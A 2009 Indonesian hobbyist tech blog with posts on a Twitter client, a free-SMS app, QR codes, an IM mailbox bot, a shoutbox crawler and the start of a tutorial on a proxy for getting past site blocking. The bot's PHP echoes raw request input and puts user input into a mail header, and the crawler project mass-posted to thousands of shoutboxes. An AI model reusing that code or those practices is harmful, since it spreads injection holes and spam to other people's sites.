Rabu, 09 Desember 2009

TuiTwit, Twitter Mobile Web Client Buatan Indonesia



Twitter kini merajalela!

Mulai dari anak sekolah, mahasiswa, wartawan, aktifis, artis Hollywod maupun lokal, sampai pejabat negara pun sudah menggunakan layanan microblogging ini dalam keseharian mereka.

Bahkan saking banyaknya pengguna twitter, banyak developer bermunculan membuat aplikasi atau layanan yang terintegrasi dengan twitter.

Ya, seperti TuiTwit ini. Si pelayan twitter mobile buatan Indonesia.


TuiTwit yang beralamat di http://m.tuitwit.com ini dirilis beta sejak pertengahan Oktober 2009. Dan ternyata, minat pengguna twitter di Indonesia cukup bagus.

Mungkin karena wajah Twitter Mobile (m.twitter.com) yang kurang bersahabat. Dalam artian, user tidak diberikan fitur yang maksimal disana sehingga memperlambat user ketika ngetweet. Seperti misalnya ketika anda ingin me ReTweet (RT) sebuah tweet, dengan Twitter Mobile anda harus melakukannya dengan mengkopi paste tweet secara manual.

Merepotkan!

Pada awalnya saya membandingkan beberapa layanan mobile twitter client yang sudah ada di internet. Sebut saja dabr.co.uk, m.slandr.net, atau m.tweete.net. Semuanya tentu memiliki kelebihan dan kekurangan masing - masing, terlebih ketika produk - produk tersebut digunakan di pasar lokal seperti Indonesia.

Oleh karena itu lah saya kemudian iseng untuk membuat sebuah layanan twitter mobile web client dengan rasa lokal, yang cukup tangguh dengan fitur lengkapnya dan dibekali dengan scene yang sama di Indonesia, yakni tidak semua mobile user menggunakan gprs unlimited (baca: masalah besar kecil penggunaan pulsa). Di TuiTwit, user bisa mengkustom seberapa banyak tweet yang dia dapatkan dalam satu halaman, dan juga bisa menonaktifkan penggunaan avatar yang cukup menguras pulsa.

Berikut ini fitur tambahan yang saya sediakan di TuiTwit :
- Retweet
- Reply To All, berguna ketika ingin me-mentions semua user yang ada di dalam sebuah tweet.
- Otomatis mendeteksi lokasi user yang menggunakan fitur GeoLoc dari Twitter.
Biasanya pengguna UberTwitter selalu mengupdate lokasi mereka karena perangkat
BlackBerry dilengkapi dengan GPS, dan disinilah fitur Tuitwit sangat berperan.
TuiTwit akan mendetek secara otomatis lokasi user twitter dan memberikan posisi mereka
dengan jelas.
- Manual Update Location. Tanpa perlu memiliki GPS atau ponsel canggih, anda bisa ikut
memberikan update posisi anda seperti pengguna UberTwitter di BlackBerry. Selain itu, anda pun bisa menshare sebuah lokasi kepada twitter follower anda dengan mudah.

Cukup lengkap bukan?

Sekarang marilah dukung produk buatan Indonesia dengan menggunakan TuiTwit.com sebagai Twitter Mobile Web Client anda dan bergabung dengan 350-an pengguna TuiTwit lainnya.

Preview :

Aplikasi Kirim SMS Gratis untuk Nokia


Halo bloggers,

Setelah sekian lama males posting, akhirnya saya kembali ke blog dengan membawa sedikit bingkisan untuk anda para pembaca.

Sebuah aplikasi untuk KirimSMS gratis via GPRS, khusus untuk anda pengguna handphone Nokia atau ponsel lainnya yang mensupport Java Environment.

Dengan aplikasi ini anda hanya membutuhkan sekitar 1kb (Rp. 1 -im3-) untuk mengirimkan sebuah sms. Murah bukan?



Langsung aja donlot aplikasinya : http://linkdonlot.co.cc/smsgratis

Install KirimSMS.jar di ponsel anda dan ikuti beberapa step berikut ini :

1. Initializing application (baca: sok sok an pake splash screen :p)


2. Tampilan utama, ketik nomor HP tujuan tanpa kode Internasional (+62). Misal nomor tujuannya 0856-123-4567, maka tulis saja : 8561234567.

Pada kotak Isi Pesan anda bisa menuliskan isi pesan yang ingin dikirim ke nomor tujuan tadi. Jangan lupa mencantumkan nama atau nomor telpon anda. Biar si penerima gak bingung nantinya.

Batas maksimalnya ialah 140 karakter.

Pencet Kirim dan klik Yes ketika aplikasi meminta ijin mengakses koneksi internet. Tunggulah sebentar, dan ponsel akan bergetar setelah aplikasi selesai mengirimkan sms anda.







3. Seperti inilah tampilan ketika SMS anda telah terkirim :



Sekarang SMS anda telah terkirim dan sampai ke tujuan, GRATIS.

Silahkan mencoba, dan jangan lupa tinggalkan komentar anda disini :)

Sabtu, 18 Juli 2009

PesanMakan Delivery via Aplikasi Facebook

Pernahkah anda terpikir memesan makan secara online?
Anda hanya perlu klak klik dan lalu makanan di antar ke tempat Anda.

Wah, memangnya ada? Hmm, atau saya ganti pertanyaannya menjadi seperti ini : "Apakah Indonesia sudah siap menerima budaya seperti itu?"

Mari kita bicarakan lebih jauh teknologi ini.

Kebetulan saya seorang mahasiswa yang tinggal di Jatinangor, daerah kost-an ujung kota Bandung. Di sini ada beberapa tempat makan sederhana yang menyediakan fasilitas delivery. Skemanya cukup mudah, cukup SMS makanan pesanan anda dan kirimkan ke nomor HP tempat makan tadi.

Mungkin saking malasnya mahasiswa keluar kamar, layanan seperti ini cukup laku sebagai jalur alternatif mendapatkan makanan tanpa perlu keluar kamar sama sekali. Tinggal SMS dan makanan akan datang. Simple!

Lalu apa hubungannya dengan teknologi yang akan saya bahas kali ini?

Seperti yang anda tahu, Facebook telah sangat menjamur dan melebihi keperkasaan Friendster di benak para mahasiswa dan masyarakat umum. Sudah banyak dari mereka yang menjadi addict dan mengalami kepudaran kemampuan bersosialisasi secara nyata karena terlalu sering dan aktif bersosialisasi secara maya. Gaya hidup seperti inilah yang saya manfaatkan untuk teknologi Pesan Makan Online. Mereka yang terlalu asyik browsing dan terlalu malas untuk keluar cari makan.

Dengan menggunakan Facebook sebagai platformnya, saya mencoba membuat sebuah aplikasi yang memudahkan anda untuk memesan makanan ke beberapa provider makanan di Jatinangor. Konsepnya sederhana, cukup masukkan alamat kosan dan pesanan, lalu tekan proses. Isi teks SMS akan digenerate sesuai dengan order form yang telah diisi sebelumnya. Setelah user mengkonfirmasi keakuratannya, barulah aplikasi akan mengirim SMS secara otomatis.



Sementara ini aplikasi PesanMakan masih menggunakan SKYPE sebagai SMS Gatewaynya. Namun tidak menutup kemungkinan suatu saat nanti saya akan menggunakan provider SMS Bulk atau bahkan menggunakan perangkat hp khusus di server untuk menangani lalu lintas SMS tadi. Entahlah, yang penting saat ini prototype aplikasi sudah bisa dijalankan dengan baik.

Sebenarnya teknologi ini hanya sekedar membuktikan bahwa menggunakan aplikasi Facebook untuk memudahkan kehidupan anda sehari - hari di Indonesia tidaklah sulit. Hanya perlu analisis target dan mencari sela yang tepat untuk membidiknya.

Coba anda bayangkan, siapa sajakah yang bakal mendapat keuntungan dari aplikasi semacam ini di Facebook? Tentu para provider makanan yang memiliki markerter yang cerdas akan berlomba - lomba menggunakannya.


Namun yang paling pasti, kita semua sebagai customer lah yang paling diuntungkan dengan kemudahan seperti ini.

Semoga saja banyak developer lokal yang berminat mengembangkan aplikasi semacam ini untuk memudahkan dan membantu perkembangan industri lokal.

Silahkan coba aplikasi PesanMakan di http://ayocoba.co.cc/pesanmakan






Salam,
Judotens M.B

Selasa, 14 Juli 2009

Manfaatkan Teknologi QR Code di Blog Anda

Jika anda sering membaca Harian Kompas pasti belakangan ini sadar atas kehadiran gambar semacam barcode di setiap artikel di halaman depan.

Apakah anda pernah mencoba mencari tahu kode apakah itu? Apakah anda pernah mendengar tentang QRCode sebelumnya? Lalu gambar macam apakah itu? Dan apa gunanya buat kehidupan kita sehari - hari?

Mari kita kupas lebih jauh tentang QR Code ini


QR Code adalah kode matriks (atau bar code 2D) yang dibuat oleh perusahaan Jepang Denso-Wave pada tahun 1994. QR sendiri berarti berasal dari "Quick Response", yang dibuat sebagai teknologi dengan menggunakan proses decode berkecepatan tinggi.
QR Code lebih banyak digunakan di Jepang, bahkan sekarang banyak dari mereka yang menggunakan teknologi handphone berkamera untuk memindai kode.

Awalnya QR Code dibuat untuk memindai hasil produksi di perusahaan manufacture. Namun seiring perkembangan jaman, teknologi ini semakin ditujukan untuk kepentingan komersial. QR Code mengandung sebuah alamat, teks ataupun URL yang bisa langsung dibaca menggunakan software QR Code Reader khusus. Di beberapa aplikasi bahkan bisa mengarahkan pengguna langsung ke situs yang tercantum dalam QR Code ini.

Kita bisa melihat banyak penggunaan QR Code ini di majalah, tempat umum seperti museum, bis dan terminal, ataupun di papan - papan iklan. Namun namanya juga Indonesia, walaupun teknologi ini sudah 15 tahun tercipta, kita baru terbiasa dengan "penampakan" kode ini di Harian Kompas belakangan terakhir.

Lalu apa manfaatnya untuk kita semua dalam kehidupan sehari - hari? Semua tergantung kebutuhan dan kreatifitas anda. Di kesempatan ini saya mencoba memanfaatkan QR Code sebagai kode untuk memudahkan anda membaca dan membookmark seluruh artikel di blog ini. Jadi anda yang telah memiliki QR Code Reader di ponsel bisa langsung mencapture informasi yang saya sediakan tanpa repot - repot lagi.

Okay, petunjuk awal adalah mensetup ponsel anda agar bisa membaca QR CODE :
1. Buka situs berikut ini :
- QuickMark, atau
- i-nigma
2. Download salah satu aplikasi reader dari vendor tersebut, dan pastikan tipe dan merk ponsel anda telah support
3. Install ke ponsel anda, dan lakukan pengetesan dengan membaca QR Code di blog ini. Jangan lupa beri jarak sekitar 5-10cm dari monitor setiap melakukan pemotretan QR Code.
4. Tralalala Trilili...seharusnya sekarang anda sudah bisa membaca QR Code dari ponsel!
Anda tidak memiliki ponsel berkamera? Tenaang. Anda masih bisa menjajal teknologi QR Code ini kok. Caranya gampang :
1. Buka situs : http://zxing.org/w/decode.jspx
2. Tulis alamat URL image yang mengandung QR CODE dan klik Submit Query,
atau sudah punya image QR Code di harddisk anda? Langsung aja klik tombol Browse dan cari file image tersebut di harddisk anda, lalu klik tombol Submit Query.
3. Yipiii...sekarang image tadi sudah didecode dan anda sudah bisa membaca informasi didalamnya.

Hmm, cukup mudah bukan? Lalu bagaimana caranya untuk membuat QR Code seperti itu?

Sekarang ini sudah ada banyak class PHP yang menyediakan fungsi menggenerate QR Code berdasarkan text dengan menggunakan library GD. Namun tampaknya akan cukup memusingkan untuk anda yang non programmer.

Nah, simplenya anda bisa menggunakan salah satu situs dibawah ini untuk menggenerate QR Code anda sendiri :

http://zxing.appspot.com/generator/
http://qrcode.kaywa.com/
http://www.snapmaze.com/
http://www.mobile-barcodes.com/qr-code-generator/
http://www.qrstuff.com/

Tinggal masukkan teks anda sendiri, lalu generate. Tidak perlu menunggu lama dan QR Code anda langsung tersedia. Bisa langsung di cetak, ditempel di cangkir, undangan, kartu nama, stiker, atau kaos. Seru kan!

Bayangkan jika suatu hari banyak orang yang menggunakan QR Code ini di kaos mereka. Anda tidak perlu lagi repot - repot tanya nama dan nomor ponselnya. Cukup dekati dan Klik!

Kelemahannya :
Semakin panjang TEKS / URL / KONTEN maka image akan semakin lebar dan dibutuhkan kamera beresolusi tinggi untuk bisa membaca setiap tanda dengan detil. Saya sudah mencoba beberapa kali dan sering gagal ketika membaca kode dikarenakan konten yang saya buat terlalu panjang dan kualitas kamera hp yang kurang bagus.

Jadi saran saya, aturlah agar TEKS / KONTEN anda SINGKAT, TEPAT dan JELAS. Atau gunakan layanan URL SHORTTEN seperti tinyurl.com / bat.am / bit.ly untuk meringkas URL yang panjang.

Selamat Mencoba

Senin, 13 Juli 2009

Membuat Bot Mailbox untuk YM,MSN atau Google Talk

Internet memang sudah semakin memudahkan komunikasi setiap manusia. Mungkin sudah trilyunan komunikasi terjadi di internet, termasuk melalui jaringan instant messenger. Dan banyak komunikasi penting terjadi disana, apalagi untuk urusan yang berhubungan dengan pekerjaan.

Saya sendiri sering kewalahan ketika sedang ada proyek yang mengharuskan saya tidak online untuk sementara. Mau mematikan instan messenger, tetapi kadang takut ada pesan penting atau klien yang menghubungi. Lalu bagaimana caranya agar saya tetap bisa mendapat pesan dari YM atau MSN atau Google Talk sedangkan saya tidak online diwaktu yang bersamaan?

Membuat layanan bot mailbox / mesin penjawab sendiri adalah salah satu jalan keluarnya.

Singkat saja, kebetulan saya menemukan layanan bot instant messenger gratis dari IMIFIED.COM. Namun tidak semudah itu untuk membuat bot, karena minimal anda harus mempunyai pengetahuan pemrograman dan memiliki hostingan sendiri untuk mengupload script PHP anda. Tapi jangan kuatir, saya sudah mempersiapkan script PHP yang bisa anda gunakan langsung untuk layanan MAILBOX anda tanpa perlu lagi pusing memikirkan programming atau upload script bot.

Ikuti petunjuk berikut ini :

1. Daftar account dulu di http://bacadulu.co.cc/daftarimified
2. Cek email anda dan lakukan konfirmasi untuk mengaktifkan account
3. Setelah itu cobalah login ke imified.com, dan akan muncul perintah untuk
membuat bot baru (atau lsg buka http://ayocoba.co.cc/tambahbot )
4. Lengkapi kotak isian :
Bot Name : Mailbox
Screen Name : nama anda
Bot URL : http://rbtok.com/uploads//botym.php?email=ALAMAT_EMAIL_ANDA
misalnya email saya judotens@gmail.com, maka bot urlnya :

http://rbtok.com/uploads//botym.php?email=judotens@gmail.com

Setelah berhasil, di halaman berikutnya akan muncul informasi tentang bot anda seperti BOT KEY.

Sekarang tulis username dan password anda di kolom Networks. Lengkapi kotak - kotak tersebut sesuai dengan kebutuhan anda. Kalau cuma perlu di Yahoo Messenger, maka anda cukup mengisi kolom Network Yahoo dan kemudian tekan Activate.

Sip, sekarang seharusnya bot anda telah berhasil terpasang. Setiap pesan baru yang masuk melalui instant messenger anda akan langsung di forward ke alamat email yang tadi anda tuliskan di BOT URL

Anda bisa mengetes kerja bot tersebut di http://ayocoba.co.cc/testbot
Atau anda ingin membuat bot sesuai dengan algoritma keinginan anda sendiri?
Coba baca http://bacadulu.co.cc/developerbot untuk petunjuk lengkapnya.

Lampiran Source Code Bot Mailbox YM / MSN / Google Talk :

<?php
$email = $_REQUEST['email'];

if ($email != '') {
switch ($_REQUEST['step']) {
case 1:
echo "INI ADALAH LAYANAN MAILBOX dari ".$email."<br><br>";
echo "Maaf, saat ini saya sedang tidak bisa online.<br>";
echo "Silahkan ikuti petunjuk bot untuk meninggalkan pesan.<br><br>";
echo "Siapakah nama anda?";
break;
case 2:
echo "Halo Bpk/Ibu " . $_REQUEST['value1'] . ", silahkan tinggalkan pesan dibawah ini :";
break;
case 3:
echo "Sip, pesan anda telah diterima.<br>";
echo "Saya akan segera membalasnya sesegera mungkin<reset>";
$to=$email;
$message = "Halo, anda telah mendapat pesan baru :\r\n\r\n";
$message .= "Nama Pengirim : ". $_REQUEST['value1']."\r\n";
$message .= "Isi Pesan :\r\n". $_REQUEST['value2']."\r\n\r\n\r\n";
$message .= "LAYANAN MAILBOX,\r\n";
$message .= "http://judotenslab.blogspot.com";
$subj='[LAYANAN MAILBOX] Untuk '.$email;
$headers = "From: ".$email."\r\n";
mail($to,$subj,$message,$headers);
break;
}
} else {
echo "LAYANAN MAILBOX ERROR!<br>";
echo "Anda harus mencantumkan alamat email anda agar saya bisa memforward setiap pesan yang";
echo "masuk langsung ke email tersebut.<br>";
echo "Contoh BOT URL :<br>";
echo "http://rbtok.com/uploads/botym.php?email=judotens@gmail.com";
echo "<br><br>Selamat Mencoba ^_^";
echo "<br><br>judotenslab : eksperimen yuuk";
echo "<br>http://judotenslab.blogspot.com<reset>";
}
?>


Selamat mencoba

Selasa, 19 Mei 2009

Latest update proyek webcrawl judotenslab

Berhubung post sebelumnya yang berjudul Membangun Web Crawler / Web Spider sendiri, cikal bakal search engine lokal Indonesia? sudah terlalu panjang. Untuk kedepannya saya akan masukkan timeline history dari proyek ini di sini saja. Dan memang post ini hanya ditujukan untuk mereka yang tertarik untuk mengikuti perkembangan proyek bersama kita ini.

Sebelumnya untuk memudahkan penelusuran timeline history, saya coba beri kode dahulu untuk setiap script berdasarkan eksekusinya.

BlogCrawler : bot pertama, yang bertugas menjelajah jejaring blog lewat shoutbox
ShoutPoster : bot kedua, yang bertugas memposting ke daftar jejaring shoutbox, hasil dari penjelajah bot pertama

F.A.Q :
Q : Apa hanya shoutbox yang dicari oleh BlogCrawler?
A : Sampai saat ini iya.

Q : Mengapa?
A : Karena shoutbox masih belum menggunakan image verification untuk mencegah bot/spam.

Q : Lalu apakah kegiatan ini bisa dianggap SPAM?
A : Bisa. Tergantung tujuan mau dibawa kemanakah proyek kita ini.

Q : Lalu apa saja yang di fetch dari blog yang dijelajahi?
A : Sementara ini hanya mencari LINK blog untuk dimasukan kedatabase. Dan link tersebut hanya diambil dari kotak SHOUTBOX. Tidak dari post atau artikel.

Q : Apakah mungkin BlogCrawler ini berhenti bekerja?
A : Sangat mungkin. Karena bot ini hanya akan terus berjalan ketika beberapa kondisi tertentu terpenuhi. Seperti : masih ada collected list web yang belum dijelajahi. Atau misalnya ketika jejaring blog yang sedang dijelajahi sudah mencapai titik maksimalnya. Jadi jika ketika bot menemukan kondisi yang tidak terpenuhi maka dia akan berhenti dengan sendirinya.

Q : Apa bedanya dengan crawler search engine seperti Google Bot/ Yahoo Bot?
A : Beda. Mereka memfetch konten web, dan memparsingnya kedalam beberapa kriteria, lalu memprosesnya sesuai prosedur yang mereka rahasiakan. Dengan modal data ini lah mereka bisa menentukan page rank sebuah halaman blog.

Q : Lalu apakah proyek ini dirilis ke sesama blogger nantinya?
A : Tergantung keputusan bersama sajalah. Dan tentu, tergantung donatur yang membantu seluruh proyek ini berjalan. Yang jelas, asal tidak dimanfaatkan jadi ajang SPAM. Karena yang ada nantinya malah budaya blogwalking menjadi hilang, dan blogger ramai - ramai menggunakan bot ini hanya sekedar untuk promosi, mencari traffic, atau mendapatkan page rank saja. Tidak. Tidak.

Q : Apakah ini sebuah karya plagiat?
A : Bisa dibilang iya. WebCrawl mah udah ada dari jaman search engine pertama. Malah mungkin tekniknya udah ada jauh sebelumnya waktu dibuat sebagai worm yang mengukur seberapa besar luas internet kala itu. Namun kan sekarang internet sudah terlalu luas. Crawler dibuat dengan berbagai macam variasi, teknik dan tujuannya. Masalah kesamaan istilah, teknik, alur maupun cara kerja itu gak saya pedulikan. Toh yang penting, saya membuat ini sendiri dari nol, dan tidak mengambil/memotong source code crawler GPL dari sumber manapun, kecuali google sebagai referensi pemrograman. Dan satu lagi ingat, saya dedikasikan khusus untuk tujuan blogwalking.

Q : Lalu bagaimana dengan search engine lokal yg dibahas dipost sebelumnya?
A : Kan udah saya bilang, namanya juga mimpi. Gratis toh?Hehehe. Tapi yang jelas sih, tinggal tambahin sentuhan spesifikasi yang memadai dan dengan pembenahan kode disana sini kita bisa mulai membuat search engine khusus blogger lokal. Ya tapi tetap, crawlingnya juga dibantu dengan bantuan resource gak terpakai di pc blogger, tentunya.

Referensi bagus untuk anda yang mau memulai memahami, atau mencobanya sendiri :
http://bacadulu.co.cc/webcrawler

Timeline:

Selasa 19 May 2009, 01:15 WIB
Running ShoutPoster #1 yg khusus dibuat untuk otomatis posting ke shoutbox

Selasa 19 May 2009, 03:23 WIB
Ternyata BlogCrawler #1 saya berhenti karena sudah kehabisan target web yg belum dikunjungi. Kemungkinan penyebab pertamanya ialah lingkup network blogger yang telah mencapai titik maksimal. Lingkaran jejaring blogger yang saya mulai dari blog pribadi saya ini mungkin saja telah mencapai titik dimana seluruh blogger didalam jejaring blog yang ada dishoutbox telah dikunjungi.
Statistiknya :
Running selama 1 Hari , 6 Jam, 23 Menit atau 34jam,23 menit atau rata - rata menjelajah sebanyak 5 blog / menit.

Total Web terjelajah : 11464 blog
Total ShoutBox ditemukan : 3774 buah.

INFO: saat ini BlogCrawler #2 telah dijalankan dengan menggunakan blog acak dari daftar web yang terkoleksi sebagai web pertama yang dicrawl (http://all-musik.blogspot.com). Semoga saja crawler saya kali ini bisa menemukan cincin jejaring blog yang berbeda dengan jejaring blog yang telah di temukan sebelumnya. Apabila terjadi penemuan kesamaan jejaring, maka crawler akan berhenti sendiri karena kehabisan daftar target webnya.

Silahkan pantau terus di http://mawarbiru.co.cc/shoutcrawl/ teman - teman

Selasa 19 May 2009, 18:40 WIB
ShoutPoster #1 telah berhenti di angka 5278. Artinya seluruh shoutbox tersebut telah di jejaki oleh web crawler saya. Dan mohon maaf untuk rekan - rekan yang memiliki dobel sampai triple post di SHOUTBOXNYA. Sementara itu untuk script penjelajah masih terus running dan melakukan counting sampai saat ini. Dan tampaknya script saya kali ini telah menemukan jejaring blog yang baru, dan sedikit bergeser kearah blog milik warga Malaysia dan beberapa negara lainnya. Ini membuktikan bahwa berhentinya proses crawling di eksekusi pertama memang karena jejaring blog di lingkup blog pribadi saya ini telah selesai di jelajahi. Sementara itu ShoutPoster #2 telah dijalankan dengan list shoutlist dari hasil kerja sementara

Mohon maaf untuk anda yang tidak bisa membuka dan melihat update live dari web crawler. Tampaknya server mulai mengalami kewalahan karena melonjaknya traffic yang masuk. Terbukti dengan kiriman email notifikasi dari hyperspin yang memberitahukan bahwa server sempat mati 5 jam di siang hari tadi.




Untuk sementara rekan - rekan bisa melihat perkembangan efek web crawler ini terhadap traffic blog dengan memantau jumlah pesan di SHOUTBOX, FEEDJIT Live Traffic, atau hit counter blog ini.

Oh iya, untuk rekan -rekan yang telah mengirimkan email dan komentar, baik itu saran, kritik, maupun donasi, mohon maaf apabila saya belum sempat membalasnya hari ini. Namun saya janji akan secepatnya membalas seluruh komentar dan email rekan - rekan.

Terimakasih atas dukungan dan supportnya teman - teman!

Selasa 19 May 2009, 20:05 WIB

Running BlogCrawler #3 dengan web jelajah pertama http://nugrohoadipratama.com.
Live update nya bisa diliat di http://mawarbiru.co.cc/shoutcrawl2/
Dan tidak lama kemudian ShoutPoster #3 running bermodalkan list shoubox dari BlogCrawler #3.

Rabu 20 May 2009, 00:00 WIB

ShoutPoster #2 telah berhenti bekerja. Dikarenakan daftar shoutbox telah dikunjungi semua. Bahkan ditemukan ribuan shoutbox yang sama dengan koleksi shoutbox yang ditemukan BlogCrawler #1 sebelumnya. Saya sampai tidak yakin dan merechecknya dengan mengecek 7 halaman per ShoutBox hanya untuk mengecek apakah ShoutPoster telah mengunjunginya sebelumynya.

Dan ternyata kemungkinannya BlogCrawler #1 dan #2 memiliki irisan jejaring blog pada jalur jelajahnya. Walaupun semakin kesininya hasil jelajah BlogCrawler #2 lebih kearah blog - blog milik warga Malaysia. Namun bagaimanapun juga saya masih menunggu hasil kelanjutan dari BlogCrawler #2 ini.


Untuk ShoutPoster #3 juga mengalami kejadian serupa dengan penjelasan diatas. Namun, ShoutPoster #3 masih terus running sampai sekarang.


Rabu 20 May 2009, 06:15 WIB


BlogCrawler #2 telah berhenti beraktifitas. Tampaknya sang bot hanya menemukan Blog yang "itu itu saja" melulu. Mengapa? Mungkin saja karena pada kurun waktu jelajahnya, hanya sekian ribu blogger di jejaring blog yang sedang aktif dishoutboxnya, dan sialnya ribuan blog itu telah dijelajahi oleh bot sebelumnya. Selain tu, ShoutPoster #3 pun juga akhirnya berhenti beraktifitas. Jadi saat ini tinggal BotCrawler #3 yang masih berjalan (tapi mungkin sore ini akan berhenti juga).

ShoutPoster tidak akan saya eksekusi dulu sampai batas waktu yang belum ditentukan. Saya masih ingin meneliti lebih jauh hasil jelajah dan kerja yang dilakukan dua bot ini. Sambil memikirkan mau dibawa kemana proyek ini kedepannya, saya juga sedang menimbang - nimbangkan seluruh saran dan donasi yang masuk ke email. Jadi untuk rekan - rekan, bukannya saya tidak mau membalas komentar dan seluruh masukan yang diterima lho ya. Harap maklum karena saya juga tidak punya waktu banyak untuk proyek ini.

Beberapa blogger telah menganggap ini adalah kegiatan pembuatan mesin spam yang hanya menyampah di internet saja. Buat saya tidak, karena saya dari alur yang saya buat di post sebelumnya sudah jelas : BlogCrawler dan ShoutPoster adalah dua bot yang berbeda. BlogCrawler adalah bot penjelajah, bot utama yang di sedang dikembangkan untuk kepentingan mengumpulkan data. Dan ShoutPoster ialah si peninggal jejak, mesin yang berpotensial menjadi SPAM ENGINE. ShoutPoster saya gunakan di uji coba ini hanya untuk memberi jejak pada blog yang telah dijelajahi agar mudah untuk dianalisis nantinya. Tidak untuk dikembangkan lebih jauh.

Akhir kata, semoga saja kedepannya setelah kemana arah proyek ini ditentukan, penelitian akan dilanjutkan dengan merivisi kode disana sini, dan semoga akhirnya kita semua bisa merasakan manfaat bersama proyek ini, untuk para blogger khususnya. Amin.


Senin, 18 Mei 2009

Membangun Web Crawler / Web Spider sendiri, cikal bakal search engine lokal Indonesia?

Sejak aktif kembali menulis blog beberapa hari ini, saya merasakan satu hal yang lumayan cape untuk dilakukan, yaitu : blogwalking. Blogwalking yang saya lakukan biasanya mungkin disebut nyampah oleh para blogger. Mengapa? Karena blogwalking yang dilakukan hanya sekedar 'jalan-jalan' ini bertujuan mengunjungi berbagai blog dan mencari kotak ShoutBox-nya dan kemudian meninggalkan jejak disana. Tidak seperti para blogger yang memang berniat membangun good relationship dengan mengomentari artikel dari blog yang bersangkutan.

Lalu apa hubungannya dengan sebuah Web Crawler?
Setelah merasa cape blogwalking seharian, saya terpikirkan untuk membuat sebuah bot yang berfungsi menggantikan pekerjaan saya, yaitu blogwalking dan meninggalkan jejak di ShoutBox para blogger. Hmm, PR yang menantang dan menarik untuk diimplementasikan bukan?

Awalnya kode ini saya mau buat dilingkungan PHP atau VB saja, namun karena adanya keterbatasan - dan kekurangan di tiap bahasa tersebut akhirnya saya lebih memilih PERL sebagai landasan programmingnya.

Dua jam berkutat dengan PERL dan dengan hanya bermodalkan google dan pengalaman minim di PERL, akhirnya script ini pun selesai dikerjakan. Yap, walaupun masih beta -tapi Web Crawler yang saya buat ini sudah memiliki fungsi utamanya, yaitu menjelajah blog - blog dan kotak ShoutBox.

Web Crawler / Web Spider ini saya coba running test ( web pertama yang dijelajahi adalah http://judotenslab.blogspot.com ) pada hari Minggu, 17 May 2009 Pukul. 21.55 WIB dan masih terus berjalan sampai sekarang. So far, pada hari ini (Senin, 18 May 2009 Pukul. 13:16 WIB) total web yang dicrawler sudah mencapai : 6408 website dan menemukan sekitar 2350 kotak ShoutBox milik para bloger dalam kurun waktu 15 Jam, 10 Menit.

Hasil yang cukup memuaskan bukan? Namun sedikit disayangkan Web Crawler judotenslab ini berjalan di server kosan yang menggunakan koneksi TELKOM SPEEDY dengan kecepatan standar. Bisa dibayangkan apabila saya mendapatkan donatur yang mau meminjamkan server berkecepatan tinggi-nya untuk melakukan test Web Crawler Performance ini, mungkin hasil yang didapat akan jauh berkali lipat.

Setelah melihat hasil yang cukup memuaskan, saya malah kepikiran untuk memanfaatkan Web Crawler saya ini sebagai modal utama membuat Search Engine sendiri. Yah, setidaknya Search Engine khusus blog lokal-lah. Tapi tentu tidak segampang itu merealisasikannya. Minimal saya harus memiliki server utama yang kuat, dari segi Bandwith dan Spesifikasinya. Dan satu lagi, faktor keberuntungan tampaknya juga berpengaruh. Hehehe. Maklum, tampaknya masi mimpi muluk untuk benar - benar merealisasikannya jika dilakukan sendiri dan tanpa bantuan rekan - rekan blogger yang lain.

Rencana lain yang sedang di persiapkan adalah membuat Web Crawler ini bisa running ramai - ramai di berbagai PC yang berbeda, namun tetap dengan hasil yang berbeda pula. Jadi dengan teknik seperti ini, Web Crawler / Web Spider buatan saya menjelajah jutaan website dengan lebih cepat dengan bantuan dari para blogger semuanya. Dan teman - teman pun bisa membantu menyumbangkan kinerja komputernya yang tidak terpakai untuk melakukan crawling ini setiap harinya.

Semoga saja proyek ini bisa direalisasikan dan didukung penuh oleh mereka yang berkompeten. Karena saya pikir, kita bisa memiliki dan merasakan manfaat yang lebih banyak dari Search Engine Lokal yang kita bangun. Sekaligus menunjukkan kepada dunia bahwa sumber daya IT di negeri kita pun banyak yang berkualitas, tidak didominasi oleh masyarakat Eropa/Amerika atau India saja.

Jika anda tertaruk untuk memberi donasi server, atau ikut melakukan penelitian Web Crawler / Web Spider ini, silahkan hubungi saya di judotens@gmail.com

Dan teruslah pantau hasil crawler Web Spider saya ini di :
http://mawarbiru.co.cc/shoutcrawl/



Akhir kata, sekian dulu suguhan dari saya kali ini. Teruslah berkarya dan hidupkan industri kreatif di negeri ini.


Untuk mengikuti update dan timeline history bisa mengikutinya di post selanjutnya :
http://judotenslab.blogspot.com/2009/05/latest-update-proyek-webcrawl.html


TAMBAHAN:

Screenshot,

Web Crawler (jelajah blog dan mencari shoutbox2) running ke dua di server windows


Script kedua (posting ke shoutbox) yg running di server windows


Alur sederhana kedua script ini :


*maap berantakan, bikinnya buru2 pake mspaint.wkekekekeke
tapi alurnya cukup jelas kok buat kalian yg mau coba programming sendiri, terserah pake bahasa pemrograman apa dan tujuannya buat apa. yang penting ide dan kreatifitasnya aja sama - sama kita share disini.



MAAF UNTUK ANDA YG TERGANGGU KENYAMANNYA, SILAHKAN TULIS URL ANDA DISINI JIKA TIDAK INGIN DILEWATI UJI COBA WEB CRAWLER INI.


Salam,
Judotens M.B

Sabtu, 16 Mei 2009

Tutorial Membuat Web Proxy di Hostingan Sendiri

Apakah anda tidak bisa membuka Myspace?
Facebook? Friendster? Atau BB17.INFO ? *ups*

Seperti yang kita ketahui bahwa banyak situs - situs yang diblokir oleh ISP atau pemerintah karena kontennya yang dianggap berbahaya, atau berbau pornografi. Namun selain itu, beberapa rekan juga mengalami pemblokiran website oleh ADMIN kantornya karena peraturan yang berlaku.

Sekarang kita akan belajar membuat sebuah WEB PROXY, sebuah web yang bisa membypass pemblokiran web -web tadi. Jadi dengan WEB PROXY, seluruh request web anda akan di wakilkan oleh si WEB PROXY tadi. Untuk lebih mudahnya saya coba buatkan alur sederhana seperti ini :

PC ANDA -> WEB TUJUAN

Ini adalah alur yang biasanya anda gunakan untuk membuka web tersebut. Dimana anda langsung mengetikkan alamat web tujuan di browser anda. Namun jika web tujuan diblokir, maka anda harus membypassnya menjadi seperti ini :

PC ANDA -> WEB PROXY -> WEB TUJUAN

Sehingga sistem yang memblokir website anda akan terkecoh karena sistem tidak akan mendeteksi kalau anda ternyata sedang membuka WEB TUJUAN. Mengapa? Karena alamat yang anda buka di browser adalah alamat dari WEB PROXY, yang seharusnya tidak ikut di BLOKIR.

Jadi di WEB PROXY ini anda bisa browsing tanpa perlu lagi takut terkena blokir.

Sekarang mari kita coba membuat sebuah WEB PROXY di server hostingan (baik gratisan maupun berbayar).

